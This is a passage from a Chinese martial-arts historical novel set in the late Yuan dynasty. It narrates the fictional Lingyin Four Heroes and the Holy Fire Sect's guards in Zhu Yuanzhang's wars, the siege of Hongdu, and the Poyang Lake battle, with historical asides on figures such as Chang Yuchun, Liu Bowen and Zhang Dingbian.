于是师兄弟四人,从西湖会带了十三太保和几百名武功好手,一行人浩浩荡荡直奔前线,几日后,到达前线,进了城池,张仁凤问起战况,守将苦着脸道:“世子爷,朱元璋兵多将广,猛将如云,最近这段时间,我们已经折损了二十多名将军,尤其是朱元璋手下大将常遇春,号称常胜将军,有万夫不当之勇。”常遇春,字伯仁,号燕衡,怀远(今安徽省蚌埠市怀远县)人,汉族,常遇春早年跟随刘聚以抢劫偷盗为生,后通过自荐投靠朱元璋,因常遇春武艺超群勇冠三军,是朱元璋手下头号猛将,世人称其带兵十万并可横扫天下,而有“常十万”的美誉。张仁凤早已听闻常遇春大名,点点头道:“你们不必惊慌,明日我们出城与他交战。”第二天城中擂鼓,列队出城迎战,朱元璋此时已经接到陈友谅围困洪都城的消息,本来想和张士诚速战速决,打败张士诚之后,再回师救援洪都城,可是张士诚所部龟缩城池之中,不敢应战,着实让朱元璋心中焦急,忽听兵丁来报,说张士诚的部队出城挑战,朱元璋大喜,连忙带着结义兄弟徐达,常遇春等一众猛将,出了军营应战,徐达,字天德,濠州钟离(今安徽凤阳县)人,出生于农民家庭,朱元璋的布衣之交,于正十三年(公元1353年)应召加入了朱元璋领导的起义军。至正十四年(公元1354年),朱元璋因濠州起义军内部矛盾,仅率徐达、汤和等二十四人(也就是后来的大名鼎鼎名扬天下“淮西二十四将”)离开濠州,南进定远,谋求发展。一直披肝沥胆忠心耿耿追随朱元璋,是朱元璋手下第一帅才,两军摆好阵型,张仁凤就要纵马向前,叶天羽:“三师兄,你是主帅,不宜轻举妄动,先让我去出阵对敌,探探他们虚实。”张仁凤心中有些担心顾虑,正在犹豫,大师兄王定国在一旁道:“三弟,四弟说的对,你是主帅,不能轻举妄动,你就让四弟出阵对敌。”张仁凤听见大师兄之言,也就点头答应,叶天羽使的是一柄一百零八斤的月牙伏魔杖,纵马出阵后,朱元璋的部队看着马上骑着个十二三岁的小孩,禁不住都哈哈大笑,朱元璋道:“这张士诚手中难道无将可用了,竟然派个小孩上来挑战?”常遇春在一旁道:“大帅,你看那小孩手上拿的兵器,十有八九都是个木头冒充的,他一个小屁孩怎么能拿得动那么重的兵器?”此言一出,身边十几个牙将参将都哈哈大笑,常遇春一挥手,对一个牙将道:“去,给我教训一下这小屁孩。”这个牙将一拍战马,来到阵前,对叶天羽道:“小娃娃,这不是你来的地方,赶快滚回家去,要不然大爷一枪下来,要了你的小命。”叶天羽冷冷道:“你别吹牛,尽管放马过来,谁输谁赢还没定呢。”那牙将驱马上前,一举手中长枪,对着叶天羽扎去,叶天羽不慌不忙,举起手中的月牙降魔杖上前一挡,那牙将只觉得一股大力传来,手中的钢枪再也握不住了,嗖的一声,飞出多远,那牙将目瞪口呆,不知所措,叶天羽随手一杖击来,牙将躲闪不及,只感觉后背如被巨锤砸中,哎哟一声栽落马下,朱元璋和常遇春在后面看见,吃了一惊,道:“哎,这是咋回事?这小孩有点邪门啊。”常遇春把手一挥,对一个牙将道:“你过去,看看这小孩玩的什么把戏?”这牙将提着三尖两刃刀来到阵前,二话不说,对着叶天羽就扎了过来,叶天羽还是不慌不忙,还是举起伏魔杖迎击过去,那参将只觉得虎口巨震,嗖的一声三尖两刃刀飞出多远,叶天羽又是一杖打来,那参将吓得连忙躲闪,调转马头转身就跑,朱元璋等人在后面看了,面面相觑,都傻了眼,朱元璋道:“遇春啊,这小子怎么回事?是不是会什么法术?真是邪门。”常遇春一挥手,身后五六名参将一拥而上,对着叶天羽就展开围攻,只见叶天羽挥动月牙伏魔杖左抵右挡,上下翻飞,二十几个回合下来,那五六名参将,一个个丢盔弃甲,狼狈逃回,常遇春脸色凝重,对着身边两位副将吩咐道:“你们两个去,小心一点,这小子太邪门了。”这两个副将,一个外号千人斩,一个外号千人魔。”是常遇春手下最勇猛的副将,这两个副将过去与叶天羽交手,又是不到三十个回合,狼狈战败而回,常遇春再也按捺不住,驱马提刀冲上阵前,对叶天羽喊道:“小娃娃,你姓甚名谁?”叶天羽朗声道:“小爷行不更名,坐不改姓,金翅大鹏叶天羽。”常遇春:“好!大爷名叫常遇春,手下不死无名之辈,快来受死吧。”说罢,挥起手中百战炎阳刀,对着叶天羽劈头盖脸就砍了过去,叶天羽不慌不忙,挥动月牙伏魔杖迎战。”兵器相交一刹那,常遇春只觉得虎口发麻,心里暗想:“这小子怎么这么大力气,真是邪门。”想到这,常遇春心中暗暗警醒,于是刀走偏锋,尽量不和叶天羽伏魔杖硬碰,可叶天羽不管这个,手中的伏魔杖如风卷残云一般,狂风暴雨般砸向常遇春,常遇春躲闪不及,也只好举刀硬抗,你来我回,五十个回合左右,叶天羽一招金刚击石砸向常遇春,常遇春举刀使出一招霸王举鼎奋力抵挡,只觉得手臂如同被雷击一般,没等常遇春回过劲来,叶天羽又施了个罗汉伏魔,手中伏魔杖迅疾如风横扫过来,常遇春连忙使出一招猿猴挂树抵挡,叶天羽不等招式用老,倏然抽回伏魔杖,一招玉龙盘柱,直奔常遇春袭来,常遇春躲闪不及,被伏魔杖打中腰背,只觉得一阵剧痛,喉咙发痒,一大口鲜血喷出,连忙一拍战马,回头便逃,叶天羽勒住马缰,并不追赶,大声道:“常遇春,小爷看你也是一条好汉,今天小爷饶你不死,以后不得再滥杀无辜。”身后的张仁凤一见,小师弟大获全胜,立马举起手中兵刃,大声喊道:“儿郎们,给我杀!”身后的军兵这半个多月让朱元璋这边打的是丢盔弃甲狼狈不堪,心中都憋着火,眼见自己大将获胜,都心血振奋,齐声呐喊,冲上阵前,开始厮杀,朱元璋率领众将虽然强力压住阵脚,但奈何灵隐四杰和西湖会十三太保及几百名西湖会会众实在太猛,所到之处,势不可挡,如秋风扫落叶一般,所向披靡。朱元璋无奈,只好边战边退,败退三十里后,张仁凤眼见朱元璋手下士兵死伤太多,不忍再杀,于是下令鸣金收兵,朱元璋好不容易稳住阵脚之后,一清点士兵,足足死伤上万人,不由得垂头丧气沮丧万分。第二天一早,朱元璋召集手下文武众将商量如何应对,众人七嘴八舌讨论半天,也没有想出什么好办法,这时军师刘基站出身形,刘基,字伯温,世称刘伯温、刘青田、刘文成、刘诚意,处州路青田县南田(今属浙江省温州市文成县)人,刘基自幼博览经史及 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刘伯温对朱元璋道:“大帅,据我所知,今日张仁凤所带的几名主将,都是他的师兄弟,出自杭州灵隐寺无尘禅师门下,老大王定国,绰号青面狮,老二李安邦,绰号金毛犼,老三,就是张士诚的世子张仁凤,绰号灵牙白象,老四就是今天出阵的叶天羽,绰号金翅大鹏,武林江湖中人,将他们四人称作灵隐四杰,尤其是那最小的十二三岁叶天羽,天赋异禀,勇猛过人,恨天无环,恨地无把,有万夫不当之勇,据武林江湖传言,前些时候无尘禅师圆寂时,把苦练数十年的天罡纯阳神功输送给了四弟子叶天羽,所以叶天羽虽然年纪不过十三岁左右,但是武功内力,已经是天下第一高手,大帅万万不可与其硬拼,只可智取为上。”朱元璋闻言,眉头深锁,道:“不知军师可有什么良策?”刘伯温道:“大帅,如今陈友谅趁我们和张士诚两军交战,趁机发兵围困洪都城,依我之见,不如先和张士诚修好,暂避灵隐四杰锋芒,待我们打败陈友谅后,再做打算。”朱元璋也知洪都城被困一个多月,形势危急,有心回去支援,但是又怕张士诚所部乘胜追击,考虑片刻,道:“如今张士诚新胜,此时去找他修好求和,只怕张士诚不会愿意。”刘伯温道:“大帅,陈友谅是想趁我们两虎相争,必有一伤,趁机想来夺取我们的地盘,我们此刻去和张士诚修好,张士诚定然会想,让我们回师去和陈友谅死磕,等我们和陈友谅鹬蚌相争两败俱伤之时,张士诚再坐收渔翁之利,张士诚的两个弟弟,张士德,张士信贪财好色,张士诚起兵之时,两个弟弟出了大力,所以对两个弟弟非常信任和纵容,只要我们多备些金银财宝,说动张士德张士信,那么张士诚定然会同意和我们和好,互不侵犯,让我们回师去和陈友谅决战。”朱元璋沉思良久道:“军师所言极是,即刻安排去办。”第三天,朱元璋安排使者,带上大量金银财宝,去和张士诚讲和。再说应天府这边,唐思源唐正阳父子俩,商议了半宿,思前想后,虽然唐思源内心实在不愿意卷入中原战场,但是架不住儿子唐正阳苦苦相求,又考虑到妻子临终所托,让自己照顾好这个世上唯一至亲的妹妹,又感念马秀英对自己一家人的浓情厚义,现在马秀英夫妻遇到危机,父子二人总不能无动于衷不管不问,于是唐思源只好下定决心,同意从教中调取护教五行卫,去救援洪都城。第二天一早,父子二人找到马秀英,把调圣火教五行卫救援洪都城的想法一说,马秀英虽然心中犹豫,担心把姐夫和姨侄卷入战场,但是洪都城实在是迫在眉睫岌岌可危,再不派人救援,只怕危在旦夕,所以马秀英也只好千恩万谢,请唐思源派人去调圣火教五行卫,唐思源即刻写好书信,安排徒儿侯成庆带两名得力随从携带自己亲笔书信,日夜兼程返回圣火教总部圣火崖,传教主命令调取两千护教五行卫,然后唐思源父子俩又带着几名随从,星夜兼程,支援洪都城。 6. 第 6 章 第六章:解救洪都 几日后,众人来到洪都城城外,洪都,古称豫章,地处赣江、抚河下游,鄱阳湖西南岸,素有“粤户闽庭,吴头楚尾”之说,后因“昌大南疆、南方昌盛”而得名南昌,唐思源等人来到洪都城城外二十里埠,安顿下来后,前去打探军情,只见陈友谅的六十万兵马,将洪都城城围得风雨不透水泄不通,陈友谅,湖广沔阳(在今湖北省仙桃市)人,陈友谅本是渔家出身,曾为县吏。参加天完红巾军,隶丞相倪文俊为簿书掾,以战功升元帅。元至正十七年(公元1357年)陈友谅杀死徐寿辉天完政权的宰相倪文俊,自此开始把持军政大权,至正二十年(公元1360年)陈友谅杀徐寿辉自立为帝,建立陈汉政权;唐思源父子心想,陈友谅的兵马太多,不能硬闯,第二天夜里,趁夜色深沉,父子二人带领手下悄悄潜入洪都城内,进入洪都城后,几人找到守城将领,把马夫人给的信物一亮,报上名号,守城将领连忙领着几人前往将军府,让守门的兵丁进去禀报,此时的洪都城主将朱文正,副将邓愈,也都是枕戈待旦,朱文正,幼名驴儿,濠州钟离人(今安徽省凤阳县),是朱元璋大哥朱兴隆的次子,幼年家中变故,祖父母、父亲、大哥在同一年因瘟疫、灾荒去世,叔叔朱元璋出家皇觉寺,母亲带他投奔娘家。元至正十四年(公元1354年),母亲带他前往滁州投奔朱元璋,朱元璋给他改名朱文正。朱文正在朱元璋麾下屡立战功,南渡长江、攻克太平、击破陈埜先,协助朱元璋攻取集庆(应天府)后,提拔为枢密院同佥。至正二十一年(公元1361),朱元璋改枢密院为大都督府,任命朱文正为大都督,总揽军事大权。至正二十二年(公元1362年),朱元璋派朱文正和邓愈镇守洪都,邓愈,名友德,字伯颜,虹县(今泗县)龙宿里(大路口乡大营)人,父亲是邓顺兴,兄长邓友隆,邓愈为人简重慎密,智勇兼备,严于治军,善抚降者。他儿时天生魁梧、好学、勇武,其父兄去世后,在16岁就开始接管兵权,并与元军作战,获得泗州、灵璧、盱眙等地,至正十五年(1355年)春,邓愈率万余人从盱眙前往滁州,投奔朱元璋,任管军总管,并被朱元璋赐名为邓愈。随朱元璋渡长江,攻克太平、金陵,屡立战功,升为广兴翼元帅。朱文正和邓愈听到士兵通报后,知道是唐思源父子前来支援,赶忙出府迎接,到了将军府中,众人落座,朱文正也就依着朱标关系,称唐思源为姨父,称唐正阳为表弟,众人商议一番后,决定固守待援,后面的半个月,陈友谅指挥兵马,日夜疯狂攻城,但都被朱文正率领守军齐心协力众志成城击退。唐思源等人也是亲临战场奋力杀敌,这天深夜,唐思源正在休息,忽听将军府外有兵丁来报,说圣火教有人求见教主,唐思源心中大喜,和唐正阳出门一看,果然是派去求援的徒儿侯成庆和两名随从,趁黑夜潜入洪都城,侯成庆和随从躬身施礼,道:“师父,两千护教五行卫已经在城外三十里岗待命。”唐思源连声道好,然后命唐正阳请来朱文正和邓愈商议,众人一致意见,不能硬闯只能智取,众人商量好计策后,第二天深夜,侯成庆带着两名随从,又趁夜色悄悄溜出了洪都城,第三天傍晚,陈友谅在营帐中,接到兵丁来报,说洪都城内大量士兵在向西门集结,似乎想趁夜色突围,陈友谅大喜,心想朱文正终于是顶不住了,想趁夜色突围,于是连忙调动兵马,悄悄埋伏在西门周围,只等朱文正率军突围时,给他包个饺子,一举吞并掉朱文正部属兵马。夜里三更时分,城里灯笼火把,士兵涌动,似乎都在向西门集结,但是干打雷不下雨。”陈友谅手下众将盯了好久,也没看到朱文正开城门突围,正在陈友谅等人疑惑之际,忽听探马来报:“启禀皇上,不好了。”陈友谅道:“怎么回事?”探马道:“守护东面的军营背后,突然来了数千骑兵,踏营而过,进入洪都城。”陈友谅等人一听,才知道是中了调虎离山之计,陈友谅道:“进入城中的有多少兵马?”探马道:“大约有两千人左右。”陈友谅心想:“我六十万大军围城,你来区区两千士兵增援,不过是长江里面撒泡尿,有也不多,没也不少。”所以也没有当回事,当即下令各营士兵回去休息,明天一早攻城。洪都城内,唐思源等人打开城门,把前来支援的圣火教五行卫接入洪都城内,朱文正一看,这两千骑兵,人人一身黑衣,胸前和袖口处,各绣了一朵拳头大小栩栩如生的金色火焰,真是人如虎,马云龙,人人矫健异常,马匹雄伟骏壮,不禁问道:“正阳表弟,你们教中的这些人,英姿勃发,个个都是英雄豪杰,但是他们为何称作圣火五行卫?”唐正阳毕竟年轻,自然有些气盛,此次圣火教精锐尽出,自然是想为姨妈马秀英撑足场面,听到朱文正问话,微微一笑道:“文正表哥过奖了,这两千教众,乃圣火教总舵护教兵丁,自幼通过层层筛选,挑选出来的身强体壮反应敏捷的孩童,从小便在圣火教教总舵接受擒拿格斗击杀训练,他们手中所持的是金背大砍刀,刀重三十六斤六两,是圣火教重金聘请能工巧匠百炼而成,锋刃极佳,身上背负的弓箭,乃宋代弓箭大师李宏所创的神臂弓,不但射程比普通弓箭远上一半,而且精准度非常高,杀伤力极大,箭囊中有三十六支乌木箭,乃圣火教总舵圣火崖特有的百年乌铁木制成,水火不侵,刀剑难伤,腰间一边喷筒装的是六两六钱的毒龙水,这毒龙水是用西域曼陀罗花和沙漠中的蝰蛇毒液混合而成,人若是沾上一滴,就会皮开肉绽,另一边腰间口袋中,装得是三十六颗火焰霹雳弹,这火焰霹雳弹是圣火教祖传秘法所制,威力惊人,杀伤力非常大,身后挂的是六斤六两重的运土铲,这些运土铲挖掘土木地道,最为得心应手,因为他们身上配置的武器装备,含金木水火土五种,所以被称作五行卫。这些护教五行卫,历史久远,自唐宋以来,凡是明教起义,都大量用护教五行卫阵前杀敌和攻城掠地,现在的圣火五行卫,乃是我先祖唐义昭,到了太白山圣火崖后,遵循明教古法严格训练而成,后来我唐氏一族,代代相传,按沙场实战攻防演练,以古人兵法运筹部署,军令如山令行禁止,攻防兼备进退自如,暗合古人战场克敌杀敌阵法。”朱文正虽然不是太清楚这些五行卫的装备威力如何,但是也能感觉到,这些五行卫不但身手不凡威武剽悍,而且身上配置的武器装备绝不简单,唐思源连夜安排,让每个城门驻守四百五行卫,另外四百人作为机动力量,随时支援情况紧急之处。第二天一早,陈友谅命令士兵,开始四面攻城,却见四面城墙上,多了一些没有穿军服盔甲的黑衣人,陈友谅的士兵向前冲锋时,城上的圣火教五行卫早有准备,等敌人进入弓箭射程内,一个个拉开强弓,箭无虚发,乌木箭如雨点一般射向攻城的士兵,攻城的士兵虽有死伤,但在盾牌的保护下,也已经冲到城下,架起云梯,开始攻城,城上的士兵拼死抵抗,不断用弓箭射击,又用滚木礌石攻击来犯之敌,此时两千五行卫,打开腰中的喷筒,喷洒出毒龙水,如同天女散花一般,毒龙水所到之处,攻城的士兵皮开肉绽惨叫连天,有些拼死爬上云梯的士兵,又被五行卫扔出的火焰霹雳弹,烧的焦头烂额,炸的人仰马翻,好不容易有一些拼死爬上城墙的,在五行卫的金背大砍刀攻击下,都无力抵抗命丧黄泉,一个时辰过后,攻城的兵丁死亡无数,这时陈友谅手下先锋大将,鄱阳湖三蛟的老大徐必先在阵前督战,实在不忍心看着士兵如此惨死,驱马来到陈友谅面前,拱手施礼道:“皇上,这么强攻不是办法,士兵们死伤太多,我们还需从长计议。”陈友谅看了看正在攻城的士兵,歪头想了想,手下士兵确实死伤太过惨重,于是下令鸣金收兵,洪都城内的朱文正,邓愈见圣火教五行卫助阵,如此骁勇善战,两人欣喜若狂,城中士兵也是斗志昂扬士气高涨。陈友谅回到军营,见强攻不行,于是便想派人挖个地道,潜入洪都城内,可是没想到,这边地道刚刚挖到城墙外,又被五行卫设下的地道陷阱阻击,五行卫的运土铲早已在城墙边上挖了无数个陷阱,只等陈友谅的士兵上钩,在地道之中,陈友谅又折损了几千士兵的性命,陈友谅见挖地道计策失败,心中恼怒,不顾徐必先劝阻,命令士兵,拼死攻城,但奈何城中士兵众志成城万众一心,再加上五行卫这支奇兵,陈友谅的将士死亡无数,损失惨重。再说朱元璋这边,听了刘伯温的计策,派了使者前去张士诚的都城向张士诚献书求和,张士诚收到求和书后,第二天召集文臣武将一起商议,一众文臣武将众说纷纭,有的主战,有的主和,他的两个弟弟张士德张士信已经被朱元璋的使者用金银珠宝收买,开口道:“大哥,如今我们和朱元璋两虎相争,必有一伤,而陈友谅趁 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虚而入,想夺取朱元璋的地盘,我们现在和朱元璋殊死拼杀,反而便宜了陈友谅,朱元璋地盘都让陈友谅抢光了,不如我们现在和朱元璋休战,暂时互不侵犯,等朱元璋回师与陈友谅殊死决斗时,有道是螳螂捕蝉黄雀在后,我们再趁双方死伤惨重之时,再去攻打朱元璋,到时候鹬蚌相争,我们坐收渔翁之利。”此言一出,众文臣武将纷纷附和,张士诚一是觉得两个弟弟说的有理,二是担心爱子张仁凤在前线安危,于是便同意了朱元璋的求和,双方休战。朱元璋此时在军营中心急如焚,翘首以盼,终于等到使者回来,朱元璋得知张士诚愿意休战,立刻命令三军火速行动,拔营起寨日夜兼程支援洪都城。洪都城这边,陈友谅屡攻不下,士兵死伤无数,士气低落,陈友谅怒不可遏但是却束手无策,又听得探马来报,朱元璋已经和张士诚休战,朱元璋正率领大军日夜兼程救援洪都城,陈友谅连忙召集手下谋士武将,商量对策,手下的谋士武将也是众说纷纭,各有各的道理,手下头号大将张定边却紧皱眉头,张定边,湖北沔阳(今湖北省仙桃市)人,武艺超群骁勇善战,有“天下第一猛将”之称。后世评价其为中国历史上十大猛将第九位。何谓猛将?宛如猛虎一出深山百兽惊,何谓猛将?天生神力可以一敌百,何谓猛将?一骑当先,可斩敌方主将于千军万马之中,摧强虏于锋锐之际,方可称为猛将。张定边作为朱元璋的敌方大将,后来的明史明确赞扬其骁勇善战忠肝义胆,后期隐于灵源山削发为僧,号称沐讲禅师。据明史记载,五十九岁年纪的张定边犹能在西山徒手击杀猛虎,享年百岁,后人皆尊称之为武松在世,子龙重生。 张定边出身渔夫家庭,元末农民起义爆发,张定边与结拜兄弟陈友谅投奔了徐寿辉所领导的天完红巾军,从此始终追随陈友谅。至正十五年(公元1355年),徐寿辉的部将倪文俊攻破沔阳,陈友谅趁机发动起义,后陈友谅因功官居元帅,张定边为副帅。至正十七年(公元1357年),陈友谅杀倪文俊,掌握实权,张定边为陈友谅攻取安庆、池州。至正十九年(公元1359年),陈友谅权欲熏心倒行逆施,诱杀赵普胜,挟持徐寿辉,次年杀徐寿辉,张定边苦苦劝说不可自相残杀,陈友谅却置之不理。至正二十年(公元1360年),陈友谅封张定边为太尉,陈友谅中康茂才诈降计,张定边舍命相救。至正二十一年(1361年),张定边受命攻打朱元璋,杀死杀伤朱元璋手下多名大将,夺取安庆后,又追随陈友谅围攻洪都, 张定边考虑再三,道:“皇上,我们在洪都城久攻不下,如今朱元璋率领主力前来支援,我们应该撤兵到鄱阳湖,以免腹背受敌,鄱阳湖中,我们船高船多,而朱元璋一时之间只能找些小船,我们在鄱阳湖以逸待劳,定可一战定乾坤,况且徐必先将军,从军前原是鄱阳帮帮主,鄱阳帮称霸鄱阳湖数十年,周边渔民都听从徐必先将军的号令,我们占尽天时地利人和,必可大胜。”陈友谅听了,连连点头,命令三军回撤到鄱阳湖中,静候朱元璋到来。等到朱元璋的主力到了洪都城外,也知道陈友谅已经撤军,进入洪都城城中,对守城将士,多加封赏,朱文正和邓愈,齐声夸赞唐思源父子和五行卫的厉害,朱文正道:“四叔,唐姨父教中的护教五行卫,真乃天赐神兵,不但个个武艺高强,精通格斗击杀之术,而且身上的金木水火土五行配置,更是出神入化杀敌无数,难怪当年方腊起义,可以势如破竹所向披靡,战无不胜攻无不克,这圣火教的两千五行卫可抵得上十万雄兵。”朱元璋嘴上呵呵直乐,连连称赞,心中却不禁泛起一丝担忧,正在此时,军令官来报:“启禀大帅,您赏赐的金银,将士们欢欣鼓舞,都感谢大帅赏赐之恩,但是圣火教的五行卫,却是一个人都不肯收。”朱元璋心中咯噔一下,一丝不悦之情涌上心头,但是脸上却装作风轻云淡,嘴上打着哈哈对唐思源道:“姐夫,这些五行卫都是你的教徒,他们这次出了大力,这些金银赏赐给他们,你发个话,让他们收了吧。”唐思源本来还想推辞,但是定睛一看,却发现朱元璋表情似乎有些不对,看上去似乎十分高兴,但是眼神之中,却暗藏一丝担忧和不悦之色,唐思源想了想,传令下去,命令五行卫,收下赏赐。此后朱元璋坐镇洪都城,命人大量购买征收船只,准备攻打陈友谅。 7. 第 7 章 第七章:鄱阳决战 半个多月后,朱元璋领兵登船,从水路直奔鄱阳湖,鄱阳湖是中国第一大淡水湖,位于现在江西省北部,长江南岸,是长江流域的重要组成部分,对长江水量调节起关键作用。鄱阳湖在古代有过彭蠡湖、彭蠡泽、彭泽湖、彭湖、扬澜湖、宫亭湖等多种称谓。 一为“彭蠡湖”,彭蠡,是很古的泽薮名,《汉书·地理志》“豫章郡彭蠡”条载:“彭蠡泽在西”。还有另一种说法:“彭者大也,蠡者瓠瓢也。”形容鄱阳湖如大瓢一样; 二为“宫亭湖”,原来专指星子县东南鄱阳湖的一部分,因湖旁有宫亭庙而得名,后来逐泛指鄱阳湖的全部; 三为“扬澜湖”,是由—一些亲身经历过鄱阳湖风涛险恶的人们而得名,李纲《彭蠡》诗:“世传扬澜并左蠡,无风白浪如山起。”宋余靖《扬澜》诗:“彭蠡古来险,汤汤贯侯卫。源长云共浮,望极天无际。传闻五月交,兹时一阴至。飓风生海隅,馀力千里噎。万窍争怒号,惊涛得狂势。”朱元璋率领大队人马到了鄱阳湖,众人一看,这陈友谅在鄱阳湖经营多年,所率领的船只都很高大,难怪陈友谅想让我们来鄱阳湖决战,但箭在弦上,不得不发,于是双方调兵谴将摆开阵型,在鄱阳湖上展开厮杀,厮杀了几日,双方互有胜负,但总体来说,陈友谅依仗船只高大,赢多输少,朱元璋因为船只矮小,落了下风,这日朱元璋又率领手下兵将,乘船在鄱阳湖和陈友谅展开厮杀,朱元璋在主船上,也不惧风险,亲自上阵督战。朱元璋的主船也比较小,上面也就带了五十名士兵和五十名五行卫,还有唐思源唐正阳侯成庆,贴身护卫淮河三鬼,正在双方兵马陷入鏖战之时,陈友谅的长子,大太子陈刚,人送外号神箭小后羿,陈刚曾经得到高人传授,一手连环箭号称天下第一,他的几名副将,也是鼎鼎大名的人物,左先锋是鄱阳湖三蛟徐必先师兄弟三人,老大玉面蛟徐必先三十多岁,微黑面庞,老二铜头蛟董琦,老三铁尾蛟秦坤,都是三十岁左右,师兄弟三人,都是身材魁梧,孔武有力,徐必先的父亲,是鄱阳老怪徐道清,一手创立鄱阳帮,一对分水刺,打遍江西无敌手,徐必先师兄弟三人,原来是受徐寿辉三番五次邀请,才加入了徐寿辉的部队,后来陈友谅弑杀徐寿辉,徐必先师兄弟三人不齿其所为,也就准备离开,但陈友谅此时势力太大,整个江西都在陈友谅的势力范围以内,陈友谅威逼利诱,徐必先师兄弟三人怕殃及家人帮众,也不敢与他翻脸,只好带领鄱阳帮帮众,在陈友谅帐下效力。右先锋是祁连山绿林道上瓢把子张氏五兄弟,这祁连山张氏五兄弟,号称祁连五鹰,是祁连山绿林道上鼎鼎有名的响马世家,祁连山张氏,乃祁连山一带第一大姓,家族势力在祁连山一带首屈一指,张氏五兄弟原来也是受到徐寿辉重金邀请,才加入了徐寿辉的部队,后来陈友谅弑杀徐寿辉,又被陈友谅重金礼聘,张氏五兄弟乃响马世家出身,对钱财比较看重,虽然也有些不齿陈友谅所为,考虑再三后,还是没能抵御住钱财的诱惑,所以转投了陈友谅,在陈友谅帐下效力,陈友谅让张氏五兄弟担任神箭小后羿陈刚的右先锋。老大白头鹰张道仓四十岁左右,老二金眼鹰张道友三十七八岁,老三银翅鹰张道余,老四铜羽鹰张道满,最小的老五铁爪鹰张道林,刚刚三十出头,兄弟五人都是豹头环眼虎背熊腰的彪形大汉,此时陈刚一眼看到朱元璋的主船,立刻命令士兵挥动令旗,自己主船和左船鄱阳湖三蛟,右船祁连山五鹰,三船齐发,直奔朱元璋的主船而来。此时徐达和常遇春正在朱元璋的左右船上,护卫朱元璋,眼看三只大船直扑朱元璋,左船常遇春,右船徐达急忙带兵上前拦截,左船常遇春与祁连山五鹰,开始血拼,右船徐达和鄱阳湖三蛟展开厮杀,徐达和徐必先是同宗兄弟,徐达年轻时遇险,幸亏鄱阳老怪徐道清念在徐达是同宗侄儿的份上,出手相救,所以鄱阳老怪徐道清是徐达的救命恩人,徐达和徐必先师兄弟三人也相识日久,没想到今日却在战场相遇,也只能各为其主,指挥手下厮杀,神箭小后羿陈刚这艘主船载了三百士兵,三层高的楼船上,士兵们箭如雨下,径直杀向朱元璋主船,朱元璋等人,所乘主船较小,只能缩在甲板上,举着盾牌,拼命抵挡,士兵们稍有疏忽,就会丧命,唐思源一看,心想这样下去,一船人都得死光啊,急忙对着身旁唐正阳和侯成庆道:“阳儿,庆儿,一会我设法上敌方主船,击杀主将,待我上船后,你们即刻跟进杀敌。”朱元璋此时就在唐思源身旁,举着盾牌躲着箭雨,听到唐思源之言,连忙劝阻道:“姐夫,这可不行,这太危险了。”唐思源道:“元璋,他们船又高又大,我们船又矮又小,他们居高临下,船上的士兵又是我们几倍,这样下去,肯定不是办法。”朱元璋道:“姐夫,你别冒险了,我们躲在盾牌后,让士兵划船,赶紧撤离。”于是朱元璋下令士兵赶紧划船,准备撤离,但是士兵们顶着盾牌防着敌人箭雨,又要划船,情急慌乱之下,竟然将船划到了浅滩,船身一个摇晃,竟然搁浅了,众人大惊,朱元璋霎时大惊失色,心想:“这可坏了,看来今天我要命丧于此。”神箭小后羿陈刚见朱元璋船只搁浅,心中大喜,连忙指挥手下兵丁,全力以赴张弓搭箭,射向朱元璋这边,唐思源见敌人箭如雨下,不断有士兵中箭身亡,忍不住心中焦急,考虑片刻,对朱元璋道:“元璋,现在船只已经搁浅,我们想走也走不了了,敌众我寡,敌人又在高处射箭,我们总是躲避也不是办法,再这样下去,我们都活不了,我现在上敌方船上击杀他们的主将,只有这样才有一线生机。”朱元璋心想,这跑又跑不掉,敌人箭如雨下,总是躲避也确实不是办法,只好道:“姐夫,你千万要小心谨慎。”唐思源又大声嘱咐唐正阳,侯成庆和一众五行卫,然后弯着腰,举起盾牌护身,找到船上的船锚铁链,气沉丹田,用力一挥,几十斤重的船锚带着铁链直直飞向陈刚的主船,只听嘭的一声,船锚已经勾住了陈刚的主船,唐思源站起身形,一手持盾,一手挥舞手中钢刀,脚踩着船锚铁链,向陈刚的主船冲去,陈刚在主船上一看,眼疾手快,连射三箭,迅疾如风,唐思源眼疾手快,举刀击落,主船上的士兵见此情形,也纷纷拉开弓箭,对唐思源瞄准射箭,唐思源一手持着盾牌,一手持着钢刀,舞刀如风,抵御箭矢,此时陈刚又是连环三箭射来,唐思源奋力打落,不想那陈刚虽然对外所称是连环九箭,但是他真正厉害的是六箭齐发,此时的唐思源,正在抵挡敌人士兵箭矢,却被陈刚瞅准破绽,手中六箭齐发,虽然唐思源左遮右挡,奋力击落四支箭矢,但是却被另外两支箭射中腹部,但是血如泉涌,唐思源顾不上拔出身上的箭矢,强忍剧痛,一个鹰击长空,上了陈刚的主船,此时唐正阳侯成庆见状,也连忙领着一众五行卫,开始顺着铁链向上冲锋,陈刚看见自己两箭射中敌人,心中正在得意,没想到唐思源却视死如归,对身上中的两箭不管不顾,如同神龙出海一般高高跃起,手中的钢刀使出圣火教镇教绝技斩魔刀法,一招神魔劈山,奋力砍向陈刚,陈刚猝不及防,想拿兵器阻挡,已是不及,只能拿起手中弓箭抵挡,想要挡住唐思源,但唐思源已经抱着必死决心,雷霆一击之下,陈刚手中的弓箭被砍断,陈刚发出一声惨叫,被唐思源一刀劈成两半,船上的士兵一看陈刚惨死,不由得大乱,有的士兵大喊:“不好了,不好了,太子殿下被杀了。”在这慌乱之际,唐正阳侯成庆带领几十名五行卫顺着铁链已经爬上了陈刚的楼船,陈刚手下的士兵眼见陈刚惨死,一个个心慌意乱,无心应战,被五行卫砍瓜切菜一般杀得血流成河,有些士兵见势不妙,纷纷跳船逃生,唐正阳几个箭步来到唐思源身边,只见两支长箭已经将唐思源身体射穿,唐思源身上血流如注,已经奄奄一息,唐正阳抱着父亲的身体放声大哭,这时的朱元璋也随士兵顺着铁链,爬上了楼船,见此情形,也连忙上前,口中大喊道:“姐夫,姐夫,你要撑住啊。”唐思源勉强睁开双眼,对唐正阳道:“待你姨母这边情势稍缓,你就带领教中的兄弟们回去,免得兄弟们丢了性命。”说完,头一歪,已经气绝身亡,唐正阳心如刀绞,五脏俱焚,抱着父亲尸首,哭的撕心裂肺肝肠寸断,此时的鄱阳湖面,已经被鲜血染成了红色。徐达和常遇春等人拼死杀敌,终于将陈友谅的士兵杀退,众人来不及悲痛,连忙命令士兵划动船只,将陈刚主船上朱元璋,唐思源父子等人救回营地,此时,天色已晚,唐正阳强忍心中悲痛,将父亲的尸体从船上背了下来,亲自用清水净布擦尽父亲身上的血污,然后将父亲的尸首,置于柴堆之上,按圣火教的教规予以火化,侯成庆和一众五行卫心中也是悲痛欲绝,哭声震天,朱元璋亲自领着所有将领,前来拜祭,在众人的痛哭声